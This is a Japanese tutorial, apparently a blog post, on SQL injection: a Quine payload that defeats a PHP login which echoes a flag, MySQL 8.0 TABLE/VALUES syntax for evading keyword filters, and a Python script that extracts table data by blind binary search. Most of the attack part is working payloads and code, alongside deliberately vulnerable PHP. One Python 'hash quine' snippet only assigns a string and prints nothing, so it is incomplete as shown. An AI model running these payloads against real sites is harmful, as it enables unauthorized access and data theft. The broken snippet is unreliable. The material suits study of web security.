SQL Quine攻撃の仕組みとMySQL 8.0における新機能の活用

SQLにおけるクワイン(Quine)攻撃の概念

SQLインジェクションにおけるQuine(クワイン)は、入力した文字列がそのまま実行結果として返されるようなクエリを構成する手法です。この攻撃は、アプリケーション側がデータベースから取得した値とユーザー入力を厳密に比較して認証を行うロジックを持つ場合に有効です。

例えば、以下のような認証ロジックを想定します。

// PHPによる認証処理の例
$user_input_pass = $_POST['password'];

// 特殊文字のフィルタリング(簡略化)
if (preg_match("/regexp|and|or|union|substr/i", $user_input_pass)) {
    die("Forbidden");
}

$query = "SELECT password FROM accounts WHERE username='admin' AND password='$user_input_pass';";
$res = mysqli_query($db, $query);
$data = mysqli_fetch_array($res);

if ($data && $data['password'] === $user_input_pass) {
    echo "ログイン成功: " . $FLAG;
}

このコードでは、データベースに格納されている実際のパスワードを知らなくても、入力した文字列 $user_input_pass とクエリの結果が一致するように細工できれば、認証を突破できます。

SQL Quineの構成原理

自己複製を行うSQLを作成するには、REPLACE関数を利用するのが一般的です。以下のSQLを実行すると、その文字列自体が出力されます。

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS quine');

このロジックを自動生成するためのPythonスクリプトは以下の通りです。

def generate_sql_quine(template):
    # プレースホルダ $$ を REPLACE 関数を利用した自己複製ロジックに置換
    core = template.replace('$$', 'REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)')
    # クォートの処理
    escaped_blob = core.replace('$$', '"$"').replace("'", '"')
    result = core.replace('$$', "'" + escaped_blob + "'")
    return result

# 使用例: UNION SELECT を利用したインジェクション
payload = generate_sql_quine("' UNION SELECT $$#")
print(payload)

また、Python等の言語においても同様の自己複製コード(Quine)を記述することが可能です。以下は短い実装例です。

# 自己複製
s = 's = %r; print(s %% s)'; print(s % s)

# ハッシュ値を出力する変種
import hashlib
s = 'import hashlib; c = "import hashlib; s = %%r; print(hashlib.sha256((s %%%% s).encode()).hexdigest())"; print(hashlib.sha256((c %% c).encode()).hexdigest())'
# (実際には一段階で記述可能)

MySQL 8.0の新機能を利用した注入手法

MySQL 8.0以降では、従来のDML(Data Manipulation Language)に加えて新しい構文が導入されており、これがSQLインジェクションの新たなベクトルとなることがあります。

1. TABLEステートメント

TABLE文は SELECT * FROM の省略形として機能します。WHERE句は使えませんが、ORDER BYLIMITUNIONとの組み合わせが可能です。

-- 全レコード取得
TABLE users;

-- 範囲指定とソート
TABLE users ORDER BY id DESC LIMIT 1;

2. VALUESステートメント

任意の定数行を生成するために VALUES が使用できます。これは列数の特定などに利用可能です。

-- 3列のデータを生成
VALUES ROW(1, 2, 3);

-- UNIONとの組み合わせ
TABLE users UNION VALUES ROW(1, 'dummy', 'pass');

3. タプル(行)比較によるブラインド注入

MySQL 8.0では行単位での比較が容易に行えます。これを利用すると、列名が不明な状態でも、データの大小比較を用いて値を1文字ずつ特定する「ブラインドSQLインジェクション」が可能です。

-- (id, username, password) の 1行目と比較
-- 先頭から順に評価される
SELECT (1, 'a', '') < (TABLE users LIMIT 1);

この特性を利用してデータを抽出する自動化スクリプトの例(テーブルの内容をバイナリサーチ形式で特定するロジック)を以下に示します。

import requests

target_url = "http://example.local/api/search"

def exploit_blind():
    extracted_data = ""
    for pos in range(1, 50):
        low = 32
        high = 126
        while low <= high:
            mid = (low + high) // 2
            test_val = extracted_data + chr(mid)
            # TABLE文と行比較を組み合わせたペイロード
            # 比較対象の列構造に合わせて調整が必要
            payload = f"1' AND ('admin', '{test_val}') < (TABLE staff LIMIT 1)-- "
            
            response = requests.get(target_url, params={"id": payload})
            
            if "Success" in response.text:
                # 比較が真である場合、ターゲットは現在の mid より大きい可能性がある
                low = mid + 1
            else:
                high = mid - 1
        
        extracted_data += chr(high)
        print(f"Current: {extracted_data}")

# exploit_blind()

このように、MySQL 8.0の TABLEVALUES 構文は、従来の SELECT が制限されている環境や、特定のキーワードがフィルタリングされている環境において強力な代替手段となります。

タグ: MySQL sql-injection Quine Database-Security web-security

8月13日 23:22 投稿